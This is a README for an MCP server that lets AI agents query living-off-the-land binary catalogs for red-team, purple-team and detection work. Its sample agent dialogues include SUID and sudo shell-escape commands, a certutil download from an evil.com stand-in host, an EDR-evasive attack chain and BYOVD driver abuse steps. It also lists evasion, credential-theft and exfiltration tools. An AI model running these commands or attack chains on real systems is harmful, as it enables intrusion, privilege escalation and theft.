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living-off-the-land-lolbins-mcp-server

by badchars

The Problem

Living off the Land binary intelligence is the missing layer in every red team engagement, purple team exercise, and detection engineering workflow. The binaries you need to abuse, detect, and defend against are documented across 10+ catalogs, each with its own format, its own schema, its own platform focus:

Traditional LOL binary intel workflow:
  Linux privilege escalation         ->  GTFOBins web interface
  Windows LOL binaries               ->  LOLBAS project website
  macOS native binaries              ->  LOOBins web interface
  Vulnerable kernel drivers          ->  LOLDrivers project
  Abusable RMM tools                 ->  LOLRMM project
  VMware ESXi binaries               ->  LOLESXi project
  Living off trusted platforms       ->  LOTP project
  C2 over legitimate services        ->  LOLC2 project
  Firmware/BIOS/cabinet abuse        ->  LOFLCAB project
  Active Directory attacks           ->  WADComs web interface
  cross-platform correlation         ->  copy-paste into a spreadsheet
  ATT&CK mapping                     ->  manual lookup in Navigator
  detection rule writing             ->  start from scratch every time
  ────────────────────────────────────
  Total: hours per engagement, most of it switching contexts and reformatting data

living-off-the-land-lolbins-mcp-server gives your AI agent 59 composite tools (321 total tools) across 10 LOL catalogs via the Model Context Protocol. The agent queries all catalogs in parallel, correlates binaries across platforms, discovers escalation paths, generates detection rules, and presents a unified attack/defense picture — in a single conversation.

With living-off-the-land-lolbins-mcp-server:
  You: "I need to escalate privileges on a Linux box with curl, python3, and find available"

  Agent: -> lol_lookup {binary: "curl", platform: "linux"}
         -> lol_lookup {binary: "python3", platform: "linux"}
         -> lol_lookup {binary: "find", platform: "linux"}
         -> lol_privesc_paths {binaries: ["curl","python3","find"], platform: "linux"}
         -> lol_detect_rules {binary: "find", technique: "suid"}
         -> "3 escalation paths found:
            1. find (SUID) — spawn shell via -exec: find . -exec /bin/sh -p \; -quit
            2. python3 (SUID) — python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
            3. curl (sudo) — if sudo curl is allowed, file read via -o or write via -O
            MITRE ATT&CK: T1548.001 (Setuid/Setgid), T1059.006 (Python)
            Sigma rule generated for sysmon file creation + process exec patterns.
            Detection: monitor execve() calls from find/python3 with euid!=uid."

How It's Different

Existing tools give you raw data one catalog at a time. living-off-the-land-lolbins-mcp-server gives your AI agent the ability to reason across all LOL catalogs simultaneously for attack planning, defense validation, and purple team exercises.


Quick Start

Option 1: npx (no install)

npx living-off-the-land-lolbins-mcp-server

All tools work immediately. No API keys required — all 10 LOL catalogs are open-source data.

Option 2: Clone

git clone https://github.com/badchars/living-off-the-land-lolbins-mcp-server.git
cd living-off-the-land-lolbins-mcp-server
bun install

Connect to your AI agent

# With npx
claude mcp add lolbins-mcp-server -- npx living-off-the-land-lolbins-mcp-server

# With local clone
claude mcp add lolbins-mcp-server -- bun run /path/to/living-off-the-land-lolbins-mcp-server/src/index.ts

Add to ~/Library/Application Support/Claude/claude_desktop_config.json:

{
  "mcpServers": {
    "lolbins": {
      "command": "npx",
      "args": ["-y", "living-off-the-land-lolbins-mcp-server"]
    }
  }
}

Same JSON config format. Point the command to npx living-off-the-land-lolbins-mcp-server or your local installation path.

CLI Usage

# List composite tools (59)
npx living-off-the-land-lolbins-mcp-server --list

# List all tools including sub-tools (321)
npx living-off-the-land-lolbins-mcp-server --list-all

# Show help
npx living-off-the-land-lolbins-mcp-server --help

# Run any tool directly
npx living-off-the-land-lolbins-mcp-server --tool lol_lookup '{"binary":"curl","platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_privesc_paths '{"binaries":["find","python3"],"platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_detect_sigma '{"binary":"certutil.exe","technique":"download"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_driver_check '{"driver":"RTCore64.sys"}'

Start querying

You: "What LOL binaries on Windows can I use for lateral movement without dropping files to disk?"

That's it. The agent searches LOLBAS, correlates with ATT&CK, checks for detection coverage, and presents the full picture automatically.


What The AI Can Do

LOL Binary Lookup & Cross-Platform Correlation

You: "Look up certutil.exe across all platforms and catalogs"

Agent: -> lol_lookup {binary: "certutil.exe"}
       -> lol_cross_platform {binary: "certutil"}
       -> lol_attack_map {binary: "certutil.exe"}
       -> "certutil.exe — Windows LOL binary (LOLBAS):
          Functions: Download (ADS), Encode/Decode (Base64), Alternate Data Streams
          ATT&CK: T1140 (Deobfuscate), T1105 (Ingress Tool Transfer), T1564.004 (ADS)
          Commands:
            Download: certutil -urlcache -split -f http://evil.com/payload.exe out.exe
            Encode:   certutil -encode payload.exe encoded.txt
            Decode:   certutil -decode encoded.txt payload.exe
          Cross-platform equivalents:
            Linux: curl, wget, openssl (GTFOBins)
            macOS: curl, security (LOOBins)
          Detection: Sysmon EventID 1 (ProcessCreate) + EventID 11 (FileCreate)
          Sigma rule generated."

Privilege Escalation Path Discovery

You: "I have sudo access to vim, tar, and zip on Linux. Find escalation paths."

Agent: -> lol_privesc_paths {binaries: ["vim","tar","zip"], platform: "linux"}
       -> lol_lookup {binary: "vim", platform: "linux"}
       -> lol_lookup {binary: "tar", platform: "linux"}
       -> lol_lookup {binary: "zip", platform: "linux"}
       -> "3 privilege escalation paths found:
          1. vim (sudo) — :!/bin/sh — drops to root shell immediately
          2. tar (sudo) — tar cf /dev/null testfile --checkpoint=1
             --checkpoint-action=exec=/bin/sh — shell via checkpoint
          3. zip (sudo) — zip /tmp/x.zip /etc/hosts -T
             -TT 'sh #' — shell via test command
          Risk: HIGH — all three provide immediate root shell
          MITRE: T1548.003 (Sudo and Sudo Caching)
          Remediation: restrict sudo to specific flags, use sudoers NOEXEC"

Detection Engineering

You: "Generate detection rules for mshta.exe abuse"

Agent: -> lol_detect_sigma {binary: "mshta.exe", technique: "execute"}
       -> lol_detect_yara {binary: "mshta.exe"}
       -> lol_detect_sysmon {binary: "mshta.exe"}
       -> lol_detect_edr {binary: "mshta.exe"}
       -> "Detection package for mshta.exe (LOLBAS):
          Sigma: Process creation rule matching mshta.exe spawning
            cmd.exe/powershell.exe + network connection rule
          YARA: Rule matching mshta.exe loading VBScript/JScript payloads
          Sysmon: EventID 1 (child process) + EventID 3 (network)
            config snippet provided
          EDR (KQL): DeviceProcessEvents query for mshta.exe
            with suspicious command-line patterns
          Coverage: T1218.005 (Mshta), T1059.005 (VBScript)"

Environment Enumeration & Attack Planning

You: "I'm on a Windows 10 box. Enumerate which LOL binaries are available and plan an attack chain."

Agent: -> lol_enum_environment {platform: "windows", version: "10"}
       -> lol_attack_graph {platform: "windows", objective: "persistence"}
       -> lol_opsec_check {techniques: ["certutil","mshta","schtasks"]}
       -> "Windows 10 LOL binary inventory:
          154 LOLBAS binaries available by default
          12 LOLDrivers vulnerable drivers known for Win10
          8 LOLRMM tools commonly present
          Attack chain (initial access -> persistence):
            1. mshta.exe — execute HTA payload (T1218.005)
            2. certutil.exe — download additional tools (T1105)
            3. schtasks.exe — establish persistence (T1053.005)
          OPSEC warnings:
            - certutil download triggers Defender ATP alert
            - mshta.exe flagged by most EDR products
            - schtasks.exe is heavily monitored
          Alternatives with lower detection:
            - Use desktopimgdownldr.dll for download instead of certutil
            - Use msiexec for execution instead of mshta"

Purple Team Exercise Generation

You: "Create a purple team exercise around LOLDrivers and BYOVD"

Agent: -> lol_purple_exercise {topic: "BYOVD", catalogs: ["loldrivers"]}
       -> lol_driver_search {query: "kernel", vulnerable: true}
       -> lol_detect_rules {technique: "BYOVD"}
       -> "Purple Team Exercise: Bring Your Own Vulnerable Driver (BYOVD)
          Red Team Steps:
            1. Deploy RTCore64.sys (known vulnerable, CVE-2019-16098)
            2. Load driver via sc.exe create / sc.exe start
            3. Use driver to disable kernel callbacks (EDR bypass)
          Blue Team Validation:
            1. Verify driver load events (Sysmon EventID 6)
            2. Check driver signature against LOLDrivers blocklist
            3. Monitor for kernel callback removal
          Scoring: red success if EDR blind, blue success if detected in <5min
          MITRE: T1068 (Exploitation for Privilege Escalation)
          Caldera profile exported."

Tools Reference (59 Composite Tools)

Tool

Description

lol_lookup

Look up a specific binary/tool across all 10 LOL catalogs — returns functions, commands, ATT&CK mapping, detection notes

lol_search

Full-text search across all catalogs by keyword, technique, or ATT&CK ID

lol_list_catalogs

List all available LOL catalogs with entry counts, last update time, and status

Tool

Description

lol_enum_environment

Enumerate LOL binaries available on a target platform/version — returns full inventory of abusable binaries

lol_attack_graph

Build an attack graph from initial access to objective using available LOL binaries with BFS/DFS path finding

lol_cross_platform

Correlate a binary across Linux, Windows, macOS, and ESXi — shows equivalent abuse techniques per platform

lol_dependency_map

Map dependencies between LOL binaries — which binaries enable or chain into others

Tool

Description

lol_privesc_paths

Discover privilege escalation paths given a list of available binaries and current access level

lol_suid_audit

Audit SUID/SGID binaries against GTFOBins for exploitable privilege escalation vectors

lol_sudo_audit

Audit sudoers entries against GTFOBins for escalation via sudo misconfigurations

Tool

Description

lol_persist_techniques

Enumerate persistence techniques achievable with available LOL binaries on the target platform

lol_persist_detect

Generate detection logic for LOL binary persistence mechanisms — registry keys, scheduled tasks, launch agents

Tool

Description

lol_lateral_movement

Find lateral movement techniques using LOL binaries — WMI, PsExec alternatives, SSH, RDP pivoting

lol_fileless_lateral

Discover fileless lateral movement options that leave minimal forensic artifacts

Tool

Description

lol_evasion_techniques

Enumerate defense evasion techniques for a binary — AMSI bypass, ETW patching, log evasion

lol_applocker_bypass

Find AppLocker/WDAC bypass techniques using LOL binaries present on the system

lol_amsi_bypass

Discover AMSI bypass methods via LOL binaries and native Windows tools

lol_log_evasion

Find techniques to evade or tamper with logging using LOL binaries

lol_edr_bypass

Discover EDR bypass and blinding techniques using LOL binaries and vulnerable drivers

Tool

Description

lol_credential_harvest

Find credential dumping and harvesting techniques using LOL binaries — SAM, LSASS, keychain

lol_credential_store

Enumerate credential stores accessible via LOL binaries on the target platform

Tool

Description

lol_execute_techniques

Enumerate all execution techniques for a binary — command execution, script hosting, DLL loading

lol_execute_fileless

Find fileless execution methods using LOL binaries — in-memory, reflective loading, living-off-the-land

lol_execute_proxy

Discover execution proxy techniques — binaries that can execute other binaries indirectly

Tool

Description

lol_discovery_techniques

Find host and network discovery techniques using LOL binaries — enumeration, recon, fingerprinting

lol_collection_techniques

Enumerate data collection and staging techniques via LOL binaries

Tool

Description

lol_exfiltration

Find data exfiltration techniques using LOL binaries — DNS, HTTP, ICMP, alternate protocols

lol_c2_channels

Discover C2 channel options using legitimate services and LOL binaries (LOLC2 catalog)

lol_c2_profile

Generate C2 profiles using LOL binaries that blend with normal traffic patterns

Tool

Description

lol_payload_generate

Generate LOL binary abuse payloads for a given technique and platform

lol_payload_encode

Encode/obfuscate payloads using LOL binary capabilities — certutil, base64, compress

lol_payload_deliver

Find payload delivery methods using LOL binaries — download cradles, staged delivery

lol_obfuscation

Discover command obfuscation techniques for LOL binary abuse commands

Tool

Description

lol_driver_check

Check a driver against the LOLDrivers database — known vulnerable, known malicious, CVEs, hashes

lol_rmm_audit

Audit installed RMM tools against LOLRMM catalog — identify abusable remote management software

lol_firmware_abuse

Search LOFLCAB catalog for firmware, BIOS, and cabinet file abuse techniques

Tool

Description

lol_gtfobins_deep

Deep dive into GTFOBins for a Linux binary — all functions, shell escapes, file operations

lol_lolbas_deep

Deep dive into LOLBAS for a Windows binary — all functions, ATT&CK, detection, paths

lol_esxi_deep

Deep dive into LOLESXi for ESXi binary abuse — VM escape, hypervisor manipulation

Tool

Description

lol_opsec_check

Evaluate OPSEC risk for a set of LOL binary techniques — detection likelihood, EDR coverage, noise level

lol_engagement_plan

Generate a full engagement plan using LOL binaries for a given objective and constraints

Tool

Description

lol_threat_actor_map

Map LOL binary usage to known threat actors and APT groups

lol_campaign_analysis

Analyze a set of LOL techniques against known campaigns and intrusion sets

lol_trending_techniques

Get trending LOL binary abuse techniques from recent threat intelligence

Tool

Description

lol_forensic_artifacts

Enumerate forensic artifacts left by LOL binary abuse — logs, registry, prefetch, shimcache

lol_incident_timeline

Correlate LOL binary execution events into an incident timeline

lol_artifact_hunt

Generate forensic hunting queries for LOL binary abuse artifacts across log sources

Tool

Description

lol_detect_sigma

Generate Sigma detection rules for LOL binary abuse techniques

lol_detect_yara

Generate YARA rules for identifying LOL binary abuse patterns in files and memory

lol_detect_sysmon

Generate Sysmon configuration entries for monitoring LOL binary activity

lol_detect_edr

Generate EDR queries (KQL, SPL, EQL) for LOL binary detection

Tool

Description

lol_coverage_gaps

Analyze detection coverage gaps for LOL binary techniques in your environment

lol_baseline_audit

Audit LOL binary execution baselines to identify anomalous usage patterns

lol_red_vs_blue_score

Score red team techniques against blue team detection capabilities for LOL binaries

Tool

Description

lol_wadcoms

Search WADComs for Active Directory attack commands — Kerberoasting, DCSync, Pass-the-Hash, delegation abuse

Tool

Description

lol_report_export

Export findings as structured reports — JSON, Markdown, CSV formats

lol_attack_navigator

Export ATT&CK Navigator layer JSON for LOL binary technique coverage

lol_visualize_graph

Generate attack path visualizations — Mermaid diagrams, Graphviz DOT, ASCII art

Tool

Description

lol_caldera_export

Export LOL binary attack chains as MITRE Caldera adversary profiles for automated simulation


Data Sources (10)

Catalog

Platform

Entries

Type

What it provides

GTFOBins

Linux/Unix

400+

Static/GitHub

Unix binaries exploitable for privilege escalation, file ops, shell escape, SUID abuse

LOLBAS

Windows

250+

Static/GitHub

Windows LOL binaries, scripts, and libraries for execution, evasion, persistence

LOOBins

macOS

50+

Static/GitHub

macOS native binaries abusable for offensive operations

LOLDrivers

Windows (kernel)

700+

API/GitHub

Vulnerable and malicious kernel drivers for BYOVD attacks

LOLRMM

Cross-platform

100+

Static/GitHub

Legitimate RMM tools abused for persistence and remote access

LOLESXi

VMware ESXi

30+

Static/GitHub

ESXi binaries for VM escape, hypervisor manipulation, ransomware deployment

LOTP

Cross-platform

40+

Static/GitHub

Trusted platforms and services abused for malicious purposes

LOLC2

Cross-platform

30+

Static/GitHub

Legitimate services abused as command-and-control channels

LOFLCAB

Cross-platform

20+

Static/GitHub

Firmware, BIOS, and cabinet file abuse techniques

WADComs

Windows AD

150+

Static/GitHub

Active Directory attack commands and techniques


Architecture

src/
  index.ts                  # CLI entrypoint (--help, --list, --list-all, --tool, stdio server)
  protocol/
    mcp-server.ts           # MCP server setup (stdio transport)
    tools.ts                # Tool registry — all 59 composite tools + 321 total tools
  types/
    index.ts                # Shared types (ToolDef, ToolContext, ToolResult, CatalogEntry)
  schema/
    catalog.ts              # Unified catalog schema (Zod)
    technique.ts            # ATT&CK technique schema
    binary.ts               # Binary/tool schema
  utils/
    rate-limiter.ts         # Per-catalog rate limiter
    cache.ts                # TTL cache for catalog data
    loader.ts               # Catalog data loader (fetch + parse + normalize)
    updater.ts              # Catalog auto-updater (check for new entries)
  catalogs/
    gtfobins/               # GTFOBins parser and normalizer
    lolbas/                 # LOLBAS parser and normalizer
    loobins/                # LOOBins parser and normalizer
    loldrivers/             # LOLDrivers parser and normalizer
    lolrmm/                 # LOLRMM parser and normalizer
    lolesxi/                # LOLESXi parser and normalizer
    lotp/                   # LOTP parser and normalizer
    lolc2/                  # LOLC2 parser and normalizer
    loflcab/                # LOFLCAB parser and normalizer
    wadcoms/                # WADComs parser and normalizer
    index.ts                # Catalog registry and loader index
  knowledge-base/
    attack-map.ts           # MITRE ATT&CK mapping engine
    binary-db.ts            # Unified binary database (normalized from all catalogs)
    technique-db.ts         # Technique database with cross-references
  environment/
    enumerator.ts           # Platform environment enumeration
    platform-profiles.ts    # Default binary inventories per OS/version
  graph/
    attack-graph.ts         # Attack graph data structure
    pathfinder.ts           # BFS/DFS path finding algorithms
    visualizer.ts           # Mermaid, Graphviz, ASCII graph rendering
  providers/
    core/                   # Core lookup, search, list tools (3)
    environment/            # Environment & graph tools (4)
    privesc/                # Privilege escalation tools (3)
    persistence/            # Persistence tools (2)
    lateral/                # Lateral movement tools (2)
    evasion/                # Defense evasion tools (5)
    credential/             # Credential access tools (2)
    execution/              # Execution tools (3)
    discovery/              # Discovery & collection tools (2)
    exfiltration/           # Exfiltration & C2 tools (3)
    payload/                # Payload & obfuscation tools (4)
    drivers/                # Drivers, RMM, CI/CD tools (3)
    platform/               # Platform deep dive tools (3)
    opsec/                  # OPSEC & planning tools (2)
    threat-intel/           # Threat intelligence tools (3)
    forensics/              # Forensics & IR tools (3)
    detection/              # Detection engineering tools (4)
    blue-team/              # Blue team analytics tools (3)
    ad/                     # AD & WADComs tools (1)
    reporting/              # Reporting & visualization tools (3)
    integration/            # Integration export tools (1)
  composite/
    index.ts                # Composite tool orchestrator (chains sub-tools)
  scripts/
    update-catalogs.ts      # Script to fetch and update all catalog data
    build-knowledge-base.ts # Script to rebuild the unified knowledge base

Design decisions:

  • 10 catalogs, 1 server — Every LOL catalog is an independent module with its own parser and normalizer. The agent picks which catalogs to query based on the context.

  • Unified knowledge base — All 10 catalogs are normalized into a common schema, enabling cross-platform correlation and attack graph reasoning.

  • Composite tools — 59 composite tools orchestrate 321 underlying sub-tools, so the agent gets high-level capabilities without needing to chain dozens of calls.

  • Attack graph engine — BFS/DFS path finding over the binary dependency graph enables automated escalation path discovery and attack chain generation.

  • Detection generation — Sigma, YARA, Sysmon, and EDR query templates are built-in, not generated from scratch each time.

  • Zero API keys — All 10 LOL catalogs are open-source data. No authentication required for any tool.

  • TTL caching — Catalog data is cached locally with configurable TTL to avoid redundant fetches during multi-tool workflows.

  • Minimal dependencies@modelcontextprotocol/sdk, zod, and cheerio. All HTTP via native fetch.


Requirements

  • Runtime: Bun 1.3.9+ (recommended) or Node.js 22+

  • Platform: macOS, Linux, Windows

  • Network: Internet access for initial catalog fetch (subsequent queries use cache)


Limitations

  • Catalog data freshness depends on upstream project update frequency

  • GTFOBins and LOLBAS have the most comprehensive entries; newer catalogs (LOFLCAB, LOLC2) have fewer

  • Attack graph reasoning is heuristic-based — paths represent possibilities, not guaranteed exploitation

  • Detection rules are templates that may need tuning for specific environments

  • LOLDrivers vulnerability data covers known CVEs only — 0-day driver vulnerabilities not included

  • WADComs requires Active Directory context for meaningful results

  • macOS / Linux tested (Windows not tested)


Part of the MCP Security Suite

Project

Domain

Tools

hackbrowser-mcp

Browser-based security testing

39 tools, Firefox, injection testing

cloud-audit-mcp

Cloud security (AWS/Azure/GCP)

38 tools, 60+ checks

github-security-mcp

GitHub security posture

39 tools, 45 checks

cve-mcp

Vulnerability intelligence

23 tools, 5 sources

osint-mcp-server

OSINT & reconnaissance

37 tools, 12 sources

darknet-mcp-server

Dark web & threat intelligence

66 tools, 16 sources

living-off-the-land-lolbins-mcp-server

LOL binary intelligence

59 composite tools, 10 catalogs


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license - not tested
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quality - not tested
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Maintenance

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